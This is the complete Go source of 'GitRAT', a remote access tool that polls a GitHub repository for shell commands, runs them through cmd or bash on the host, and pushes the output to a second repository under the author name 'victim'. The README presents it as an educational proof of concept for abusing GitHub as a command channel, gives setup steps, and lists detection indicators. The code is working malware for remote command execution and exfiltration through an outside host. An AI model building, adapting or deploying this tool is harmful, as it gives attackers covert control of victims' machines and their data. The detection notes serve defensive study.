├── Makefile ├── main.go ├── config.go ├── go.mod ├── LICENSE ├── command.go ├── README.md ├── repository.go └── go.sum /Makefile: -------------------------------------------------------------------------------- 1 | APP_NAME := GitRAT 2 | BUILD_DIR := build 3 | 4 | macarm: 5 | GOOS=darwin GOARCH=arm64 go build -o $(BUILD_DIR)/$(APP_NAME)-mac-arm *.go 6 | 7 | mac86: 8 | GOOS=darwin GOARCH=amd64 go build -o $(BUILD_DIR)/$(APP_NAME)-mac-x86 *.go 9 | 10 | windows: 11 | GOOS=windows GOARCH=amd64 go build -o $(BUILD_DIR)/$(APP_NAME)-windows.exe *.go 12 | 13 | linux: 14 | GOOS=linux GOARCH=amd64 go build -o $(BUILD_DIR)/$(APP_NAME)-linux *.go 15 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "time" 4 | 5 | func handleError(err error, isIgnoreError bool) { 6 | if err != nil && !isIgnoreError { 7 | print(err) 8 | return 9 | } 10 | } 11 | 12 | func loopCommand(config *Config) { 13 | 14 | for { 15 | commandString, err := LoadCommand(config.CommandRepoUrl) 16 | handleError(err, config.IsIgnoringError) 17 | 18 | commandOutput, err := ExecuteCommand(commandString, config.Timeout) 19 | handleError(err, config.IsIgnoringError) 20 | 21 | err = PushOutRepo(commandOutput, config.OutputRepoUrl) 22 | handleError(err, config.IsIgnoringError) 23 | 24 | time.Sleep(time.Duration(config.RefreshInterval) * time.Second) 25 | } 26 | } 27 | 28 | func main() { 29 | config := LoadConfig() 30 | loopCommand(config) 31 | } 32 | -------------------------------------------------------------------------------- /config.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Configuration Struct 4 | type Config struct { 5 | CommandRepoUrl string // The input repository URL 6 | OutputRepoUrl string // The output repository URL 7 | RefreshInterval int // Delay in seconds 8 | IsIgnoringError bool // Determines error handling behavior 9 | Timeout int // Timeout in seconds 10 | } 11 | 12 | // LoadConfig initializes and returns a default configuration 13 | func LoadConfig() *Config { 14 | return &Config{ 15 | // RepoUrlFormat: https://{Token}:x-oauth-basic@github.com/{github_username}/{repo_name} 16 | CommandRepoUrl: "", 17 | OutputRepoUrl: "", 18 | RefreshInterval: 10, // seconds 19 | Timeout: 0, // seconds 20 | IsIgnoringError: true, // continue even if error 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module main 2 | 3 | go 1.21.5 4 | 5 | require ( 6 | gopkg.in/src-d/go-billy.v4 v4.3.2 7 | gopkg.in/src-d/go-git.v4 v4.13.1 8 | ) 9 | 10 | require ( 11 | github.com/emirpasic/gods v1.12.0 // indirect 12 | github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 // indirect 13 | github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd // indirect 14 | github.com/mitchellh/go-homedir v1.1.0 // indirect 15 | github.com/sergi/go-diff v1.0.0 // indirect 16 | github.com/src-d/gcfg v1.4.0 // indirect 17 | github.com/xanzy/ssh-agent v0.2.1 // indirect 18 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 // indirect 19 | golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 // indirect 20 | golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e // indirect 21 | gopkg.in/warnings.v0 v0.1.2 // indirect 22 | ) 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Mossdinger 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /command.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "fmt" 7 | "os/exec" 8 | "runtime" 9 | "time" 10 | ) 11 | 12 | // ExecuteCommand executes a shell command with arguments and returns the output (or an error) 13 | func ExecuteCommand(command string, timeout int) (string, error) { 14 | var shell string 15 | var args []string 16 | var timeout_sec = time.Duration(timeout) * time.Second 17 | 18 | // Detect the operating system 19 | if runtime.GOOS == "windows" { 20 | // Use cmd.exe on Windows 21 | shell = "cmd" 22 | args = []string{"/C", command} 23 | } else { 24 | // Use bash (or sh) on Unix-like systems 25 | shell = "/bin/bash" 26 | args = []string{"-c", command} 27 | } 28 | 29 | cmd := exec.CommandContext(context.Background(), shell, args...) 30 | if timeout_sec > 0 { 31 | var cancel context.CancelFunc 32 | cmdContext, cancel := context.WithTimeout(context.Background(), timeout_sec) 33 | defer cancel() 34 | cmd = exec.CommandContext(cmdContext, shell, args...) 35 | } 36 | 37 | var out, stderr bytes.Buffer 38 | cmd.Stdout = &out 39 | cmd.Stderr = &stderr 40 | 41 | err := cmd.Run() 42 | 43 | // Handle errors 44 | if err != nil { 45 | return fmt.Sprintf("Error: %s\nStderr: %s", err.Error(), stderr.String()), err 46 | } 47 | 48 | return out.String(), nil 49 | } 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GitRAT 2 | GitRAT is a fileless Remote Access Tool using GitHub repository for running commands and storing outputs. The inspiration behind this project stems from the prevalent practice within many organizations to permit connections to any GitHub repository. This project only serves as a Proof-of-Concept that GitHub can be abused; it is by no means a refined project. 3 | 4 | ### Disclaimer 5 | * GitRAT is strictly for Educational purposes only. 6 | * Should this project ever be abused, the following behaviors may be used for detection 7 | * Multiple Connections to 2 Github Repositories from a single process 8 | * Multiple Cmd/shell instances launched from a process connecting to 2 Github Repositories 9 | * Alternatively, extracting the tokens from the executables then saving them in any public repository would disable them. 10 | * Please create an issue on this repository for any question or concern 11 | 12 | ## Usage 13 | ### Setup 14 | 1. Create two Repositories in Github: one will be used for pushing command and one will be used for storing the command output. 15 | 2. Create two fine-grained Tokens, one for each repository. The command token should have read access to the content of the command repository while the output token should have both read and write access to the content of the output repository. 16 | 3. Create empty file `command` in the command repo and `out` in the output repo. 17 | 4. Edit the `config.go` file 18 | 5. Build the project 19 | 20 | ### Post Execution 21 | 1. edit the `command` file in the command repo to enter the desired command 22 | 2. check the `out` file in the output repo for the output of the command if the command has one 23 | 24 | -------------------------------------------------------------------------------- /repository.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "io" 5 | "strings" 6 | "time" 7 | 8 | "gopkg.in/src-d/go-git.v4" 9 | "gopkg.in/src-d/go-git.v4/plumbing/object" 10 | "gopkg.in/src-d/go-git.v4/storage/memory" 11 | 12 | "gopkg.in/src-d/go-billy.v4/memfs" 13 | "gopkg.in/src-d/go-billy.v4/util" 14 | ) 15 | 16 | func LoadCommand(repoURL string) (string, error) { 17 | 18 | // Cloning the Command Repo in-memory 19 | fs := memfs.New() 20 | _, err := git.Clone(memory.NewStorage(), fs, &git.CloneOptions{ 21 | URL: repoURL, 22 | }) 23 | if err != nil { 24 | return "", err 25 | } 26 | 27 | // Get fileHandler 28 | fileHandler, err := fs.Open("command") 29 | if err != nil { 30 | return "", err 31 | } 32 | 33 | // Get fileContent from fileHandler using io.ReadAll instead of ioutil.ReadAll 34 | fileContent, err := io.ReadAll(fileHandler) 35 | if err != nil { 36 | return "", err 37 | } 38 | 39 | // Cleaning the Command string 40 | command := string(fileContent) 41 | command = strings.TrimSuffix(command, "\n") 42 | 43 | return command, nil 44 | } 45 | 46 | // pushOutRepo pushes the output to the given repoURL 47 | func PushOutRepo(commandOutput, repoURL string) error { 48 | // Cloning the Output Repo in-memory 49 | fs := memfs.New() 50 | repo, err := git.Clone(memory.NewStorage(), fs, &git.CloneOptions{ 51 | URL: repoURL, 52 | }) 53 | if err != nil { 54 | return err 55 | } 56 | 57 | // Storing the command output in "out" file in the repository 58 | fileContent := []byte(commandOutput) 59 | err = util.WriteFile(fs, "out", fileContent, 0644) 60 | if err != nil { 61 | return err 62 | } 63 | 64 | // Commit the out file in the memory 65 | worktree, err := repo.Worktree() 66 | if err != nil { 67 | return err 68 | } 69 | worktree.Add("out") 70 | _, err = worktree.Commit("new output", &git.CommitOptions{ 71 | Author: &object.Signature{ 72 | Name: "victim", 73 | Email: "victim@localhost", 74 | When: time.Now(), 75 | }, 76 | }) 77 | if err != nil { 78 | return err 79 | } 80 | 81 | // Pushing to the output repository 82 | err = repo.Push(&git.PushOptions{}) 83 | if err != nil { 84 | return err 85 | } 86 | 87 | return nil 88 | } 89 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7 h1:uSoVVbwJiQipAclBbw+8quDsfcvFjOpI5iCf4p/cqCs= 2 | github.com/alcortesm/tgz v0.0.0-20161220082320-9c5fe88206d7/go.mod h1:6zEj6s6u/ghQa61ZWa/C2Aw3RkjiTBOix7dkqa1VLIs= 3 | github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239 h1:kFOfPq6dUM1hTo4JG6LR5AXSUEsOjtdm0kw0FtQtMJA= 4 | github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c= 5 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= 6 | github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= 7 | github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= 8 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 10 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 11 | github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg= 12 | github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o= 13 | github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= 14 | github.com/gliderlabs/ssh v0.2.2 h1:6zsha5zo/TWhRhwqCD3+EarCAgZ2yN28ipRnGPnwkI0= 15 | github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0= 16 | github.com/google/go-cmp v0.3.0 h1:crn/baboCvb5fXaQ0IJ1SGTsTVrWpDsCWC8EGETZijY= 17 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 18 | github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99 h1:BQSFePA1RWJOlocH6Fxy8MmwDt+yVQYULKfN0RoTN8A= 19 | github.com/jbenet/go-context v0.0.0-20150711004518-d14ea06fba99/go.mod h1:1lJo3i6rXxKeerYnT8Nvf0QmHCRC1n8sfWVwXF2Frvo= 20 | github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= 21 | github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd h1:Coekwdh0v2wtGp9Gmz1Ze3eVRAWJMLokvN3QjdzCHLY= 22 | github.com/kevinburke/ssh_config v0.0.0-20190725054713-01f96b0aa0cd/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= 23 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 24 | github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= 25 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 26 | github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= 27 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 28 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 29 | github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= 30 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= 31 | github.com/pelletier/go-buffruneio v0.2.0/go.mod h1:JkE26KsDizTr40EUHkXVtNPvgGtbSNq5BcowyYOWdKo= 32 | github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= 33 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 34 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 35 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 36 | github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= 37 | github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= 38 | github.com/src-d/gcfg v1.4.0 h1:xXbNR5AlLSA315x2UO+fTSSAXCDf+Ar38/6oyGbDKQ4= 39 | github.com/src-d/gcfg v1.4.0/go.mod h1:p/UMsR43ujA89BJY9duynAwIpvqEujIH/jFlfL7jWoI= 40 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 41 | github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= 42 | github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= 43 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 44 | github.com/xanzy/ssh-agent v0.2.1 h1:TCbipTQL2JiiCprBWx9frJ2eJlCYT00NmctrHxVAr70= 45 | github.com/xanzy/ssh-agent v0.2.1/go.mod h1:mLlQY/MoOhWBj+gOGMQkOeiEvkx+8pJSI+0Bx9h2kr4= 46 | golang.org/x/crypto v0.0.0-20190219172222-a4c6cb3142f2/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= 47 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 48 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4 h1:HuIa8hRrWRSrqYzx1qI49NNxhdi2PrY7gxVSq1JjLDc= 49 | golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 50 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 51 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 52 | golang.org/x/net v0.0.0-20190724013045-ca1201d0de80 h1:Ao/3l156eZf2AW5wK8a7/smtodRU+gha3+BeqJ69lRk= 53 | golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 54 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 55 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 56 | golang.org/x/sys v0.0.0-20190221075227-b4e8571b14e0/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 57 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 58 | golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e h1:D5TXcfTk7xF7hvieo4QErS3qqCB4teTffacDWr7CI+0= 59 | golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 60 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 61 | golang.org/x/text v0.3.2 h1:tW2bmiBqwgJj/UpqtC8EpXEZVYOwU0yG4iWbprSVAcs= 62 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 63 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 64 | golang.org/x/tools v0.0.0-20190729092621-ff9f1409240a/go.mod h1:jcCCGcm9btYwXyDqrUWc6MKQKKGJCWEQ3AfLSRIbEuI= 65 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= 66 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 67 | gopkg.in/src-d/go-billy.v4 v4.3.2 h1:0SQA1pRztfTFx2miS8sA97XvooFeNOmvUenF4o0EcVg= 68 | gopkg.in/src-d/go-billy.v4 v4.3.2/go.mod h1:nDjArDMp+XMs1aFAESLRjfGSgfvoYN0hDfzEk0GjC98= 69 | gopkg.in/src-d/go-git-fixtures.v3 v3.5.0 h1:ivZFOIltbce2Mo8IjzUHAFoq/IylO9WHhNOAJK+LsJg= 70 | gopkg.in/src-d/go-git-fixtures.v3 v3.5.0/go.mod h1:dLBcvytrw/TYZsNTWCnkNF2DSIlzWYqTe3rJR56Ac7g= 71 | gopkg.in/src-d/go-git.v4 v4.13.1 h1:SRtFyV8Kxc0UP7aCHcijOMQGPxHSmMOPrzulQWolkYE= 72 | gopkg.in/src-d/go-git.v4 v4.13.1/go.mod h1:nx5NYcxdKxq5fpltdHnPa2Exj4Sx0EclMWZQbYDu2z8= 73 | gopkg.in/warnings.v0 v0.1.2 h1:wFXVbFY8DY5/xOe1ECiWdKCzZlxgshcYVNkBHstARME= 74 | gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= 75 | --------------------------------------------------------------------------------